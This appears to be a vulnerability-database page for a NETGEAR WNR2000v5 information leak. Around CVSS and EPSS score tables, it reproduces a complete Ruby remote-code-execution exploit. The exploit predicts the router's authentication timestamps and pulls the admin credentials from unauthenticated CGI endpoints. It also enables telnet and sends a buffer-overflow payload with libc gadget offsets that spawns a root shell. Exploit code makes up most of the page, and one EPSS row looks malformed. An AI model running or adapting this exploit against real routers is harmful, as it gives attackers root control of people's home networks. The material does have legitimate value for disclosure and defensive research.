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The NETGEAR WNR2000v5 router leaks its serial number when performing a request to the /BRS_netgear_success.html URI. This serial number allows a user to obtain the administrator username and password, when used in combination with the CVE-2016-10176 vulnerability that allows resetting the answers to the password-recovery questions.
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
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Metrics
Score
Severity
CVSS Vector
Source
V3.0
9.8
CRITICAL
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
5
AV:N/AC:L/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.02%
–
–
2022-02-13
–
–
1.02%
–
–
2022-03-20
–
–
1.02%
–
–
2022-04-03
–
–
1.02%
–
–
2022-05-29
–
–
1.02%
–
–
2022-08-14
–
–
1.02%
–
–
2022-11-13
–
–
1.02%
–
–
2022-11-20
–
–
1.02%
–
–
2022-11-27
–
–
1.02%
–
–
2023-02-26
–
–
1.02%
–
–
2023-03-12
–
–
–
10.56%
–
2024-01-28
–
–
–
10.56%
–
2024-06-02
–
–
–
10.56%
–
2024-12-22
–
–
–
3.05%
–
2025-01-19
–
–
–
3.05%
–
2025-03-18
–
–
–
–
81.61%
2025-03-18
–
–
–
–
81.61,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2016-12-20 23h00 +00:00 Author : Pedro Ribeiro EDB Verified : No
#
# Remote code execution in NETGEAR WNR2000v5
# - by Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
# Released on 20/12/2016
#
# NOTE: this exploit is "alpha" quality and has been deprecated. Please see the modules
# accepted into the Metasploit framework, or https://github.com/pedrib/PoC/tree/master/exploits/metasploit/wnr2000
#
#
# TODO:
# - randomise payload
require 'net/http'
require 'uri'
require 'time'
require 'digest'
require 'openssl'
require 'socket'
####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3
@randtbl =
[
# we omit TYPE_3 from here, not needed
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
-615974602, 344556628, 939512070, -1249116260, 1507946756,
-812545463, 154635395, 1388815473, -1926676823, 525320961,
-1009028674, 968117788, -123449607, 1284210865, 435012392,
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
-205601318,
]
@unsafe_state = {
"fptr" => SEP_3,
"rptr" => 0,
"state" => 0,
"rand_type" => TYPE_3,
"rand_deg" => DEG_3,
"rand_sep" => SEP_3,
"end_ptr" => DEG_3
}
# Emulate the behaviour of C's srand
def srandom_r (seed)
state = @randtbl
if seed == 0
seed = 1
end
state[0] = seed
dst = 0
word = seed
kc = DEG_3
for i in 1..(kc-1)
hi = word / 127773
lo = word % 127773
word = 16807 * lo - 2836 * hi
if (word < 0)
word += 2147483647
end
dst += 1
state[dst] = word
end
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
@unsafe_state['rptr'] = 0
kc *= 10
kc -= 1
while (kc >= 0)
random_r
kc -= 1
end
end
# Emulate the behaviour of C's rand
def random_r
buf = @unsafe_state
state = buf['state']
fptr = buf['fptr']
rptr = buf['rptr']
end_ptr = buf['end_ptr']
val = @randtbl[fptr] += @randtbl[rptr]
result = (val >> 1) & 0x7fffffff
fptr += 1
if (fptr >= end_ptr)
fptr = state
rptr += 1
else
rptr += 1
if (rptr >= end_ptr)
rptr = state
end
end
buf['fptr'] = fptr
buf['rptr'] = rptr
result
end
#####################
#####################
# Ruby code ported from https://github.com/insanid/netgear-telenetenable
#
def telnetenable (username, password)
mac_pad = @mac.gsub(':', '').upcase.ljust(0x10,"\x00")
username_pad = username.ljust(0x10, "\x00")
password_pad = password.ljust(0x21, "\x00")
cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, "\x00")
md5 = Digest::MD5.new
md5.update(cleartext)
payload = (md5.digest + cleartext).ljust(0x80, "\x00").unpack('N*').pack('V*')
secret_key = "AMBIT_TELNET_ENABLE+" + password
cipher = OpenSSL::Cipher::Cipher.new("bf-ecb").send :encrypt
cipher.key_len = secret_key.length
cipher.key = secret_key
cipher.padding = 0
binary_data = (cipher.update(payload) << cipher.final)
s = UDPSocket.new
s.send(binary_data.unpack('N*').pack('V*'), 0, @target.split(':')[0], 23)
end
#####################
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
# Default credentials for the router
USERNAME = "admin"
PASSWORD = "password"
def get_request(uri_str)
uri = URI.parse(uri_str)
http = Net::HTTP.new(uri.host, uri.port)
#http.set_debug_output($stdout)
request = Net::HTTP::Get.new(uri.request_uri)
request.basic_auth(USERNAME, PASSWORD)
http.request(request)
end
def post_request(uri_str, body)
uri = URI.parse(uri_str)
header = { 'Content-Type' => 'application/x-www-form-urlencoded' }
http = Net::HTTP.new(uri.host, uri.port)
#http.set_debug_output($stdout)
request = Net::HTTP::Post.new(uri.request_uri, header)
request.basic_auth(USERNAME, PASSWORD)
request.body = body
http.request(request)
end
def check
response = get_request("http://#{@target}/")
auth = response['WWW-Authenticate']
if auth != nil
if auth =~ /WNR2000v5/
puts "[+] Router is vulnerable and exploitable (WNR2000v5)."
return
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
puts "[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4)."
return
end
end
puts "Router is not vulnerable."
end
def get_password
response = get_request("http://#{@target}/BRS_netgear_success.html")
if response.body =~ /var sn="([\w]*)";/
serial = $1
else
puts "[-]Failed to obtain serial number, bailing out..."
exit(1)
end
# 1: send serial number
response = post_request("http://#{@target}/apply_noauth.cgi?/unauth.cgi", "submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+")
# 2: send answer to secret questions
response = post_request("http://#{@target}/apply_noauth.cgi?/securityquestions.cgi", \
"submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+")
# 3: PROFIT!!!
response = get_request("http://#{@target}/passwordrecovered.cgi")
if response.body =~ /Admin Password: (.*)<\/TD>/
password = $1
else
puts "[-] Failed to obtain admin password, bailing out..."
exit(1)
end
if response.body =~ /Admin Username: (.*)<\/TD>/
username = $1
else
puts "[-] Failed to obtain admin username, bailing out..."
exit(1)
end
puts "[+] Success! Got admin username #{username} and password #{password}"
return [username, password]
end
def get_current_time
response = get_request("http://#{@target}/")
date = response['Date']
Time.parse(date).strftime('%s').to_i
end
def get_auth_timestamp(mode)
if mode == "bof"
uri_str = "http://#{@target}/lang_check.html"
else
uri_str = "http://#{@target}/PWD_password.htm"
end
response = get_request(uri_str)
if response.code == 401
# try again, might fail the first time
response = get_request(uri_str)
if response.code == 200
if response.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end
end
def got_shell
puts "[+] Success, shell incoming!"
exec("telnet #{@target.split(':')[0]}")
end
if ARGV.length < 2
puts "Usage: ./netgearPwn.rb <IP:PORT> <check|bof|telnet <MAC>> [noreboot]"
puts "\tcheck: see if the target is vulnerable"
puts "\tbof: run buffer overflow exploit on the target"
puts "\ttelnet <mac>: run telnet exploit on the target, needs MAC address"
puts "\tnoreboot: optional parameter - don't force a reboot on the target"
exit(1)
end
@target = ARGV[0]
mode = ARGV[1]
if (ARGV.length > 2 && ARGV[2] == "noreboot") || (ARGV.length > 3 && ARGV[3] == "noreboot")
reboot = false
else
reboot = true
end
if mode == "telnet"
if ARGV.length == 3
@mac = ARGV[2]
elsif ARGV.length == 4
@mac = ARGV[3]
else
puts "[-] telnet mode needs MAC address argument!"
exit(-1)
end
end
# Maximum time differential to try
# Look 5000 seconds back for the timestamp with reboot
# 500000 with no reboot
if reboot
TIME_OFFSET = 5000
else
TIME_OFFSET = 500000
end
# Increase this if you're sure the device is vulnerable and you're not getting a shell
TIME_SURPLUS = 200
if mode == "check"
check
exit(0)
end
if mode == "bof"
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end
system_offset = 0x547D0
gadget = 0x2462C
libc_base = 0x2ab24000
payload = 'a' * 36 + # filler_1
calc_address(libc_base, system_offset) + # s0
'1111' + # s1
'2222' + # s2
'3333' + # s3
calc_address(libc_base, gadget) + # gadget
'b' * 0x40 + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end
# 0: try to see if the default admin username and password are set
timestamp = get_auth_timestamp(mode)
# 1: reboot the router to get it to generate new timestamps
if reboot and timestamp == nil
response = post_request("http://#{@target}/apply_noauth.cgi?/reboot_waiting.htm", "submit_flag=reboot&yes=Yes")
if response.code == "200"
puts "[+] Successfully rebooted the router. Now wait two minutes for the router to restart..."
sleep 120
puts "[*] Connect to the WLAN or Ethernet now. You have one minute to comply."
sleep 60
else
puts "[-] Failed to reboot the router. Bailing out."
exit(-1)
end
puts "[*] Proceeding..."
end
# 2: get the current date from the router and parse it, but only if we are not authenticated...
if timestamp == nil
end_time = get_current_time
if end_time <= TIME_OFFSET
start_time = 0
else
start_time = end_time - TIME_OFFSET
end
end_time += TIME_SURPLUS
if end_time < (TIME_SURPLUS * 7.5).to_i
end_time = (TIME_SURPLUS * 7.5).to_i
end
puts "[+] Got time #{end_time} from router, starting exploitation attempt."
puts "[*] Be patient, this might take up a long time (typically a few minutes, but maybe an hour or more)."
end
if mode == "bof"
uri_str = "http://#{@target}/apply_noauth.cgi?/lang_check.html%20timestamp="
body = "submit_flag=select_language&hidden_lang_avi=#{payload}"
else
uri_str = "http://#{@target}/apply_noauth.cgi?/PWD_password.htm%20timestamp="
body = "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2"
end
# 3: work back from the current router time minus TIME_OFFSET
while true
for time in end_time.downto(start_time)
begin
if timestamp == nil
response = post_request(uri_str + get_timestamp(time).to_s, body)
else
response = post_request(uri_str + timestamp.to_s, body)
end
if response.code == "200"
# this only occurs in the telnet case
credentials = get_password
telnetenable(credentials[0], credentials[1])
sleep 5
got_shell
#puts "Done! Got admin username #{credentials[0]} and password #{credentials[1]}"
#puts "Use the telnetenable.py script (https://github.com/insanid/netgear-telenetenable) to enable telnet, and connect to port 23 to get a root shell!"
exit(0)
end
rescue EOFError
if reboot
sleep 0.2
else
# with no reboot we give the router more time to breathe
sleep 0.5
end
begin
s = TCPSocket.new(@target.split(':')[0], 23)
s.close
got_shell
rescue Errno::ECONNREFUSED
if timestamp != nil
# this is the case where we can get an authenticated timestamp but we could not execute code
# IT SHOULD NEVER HAPPEN
# But scream and continue just in case, it means there is a bug
puts "[-] Something went wrong. We can obtain the timestamp with the default credentials, but we could not execute code."
puts "[*] Let's try again..."
timestamp = get_auth_timestamp
end
next
end
rescue Net::ReadTimeout
# for bof case, we land here
got_shell
end
end
if timestamp == nil
start_time = end_time - (TIME_SURPLUS * 5)
end_time = end_time + (TIME_SURPLUS * 5)
puts "[*] Going for another round, increasing end time to #{end_time} and start time to #{start_time}"
end
end
# If we get here then the exploit failed
puts "[-] Exploit finished. Failed to get a shell!"
Products Mentioned
Configuraton 0
Netgear>>Wnr2000v5_firmware >> Version To (including) 1.0.0.34
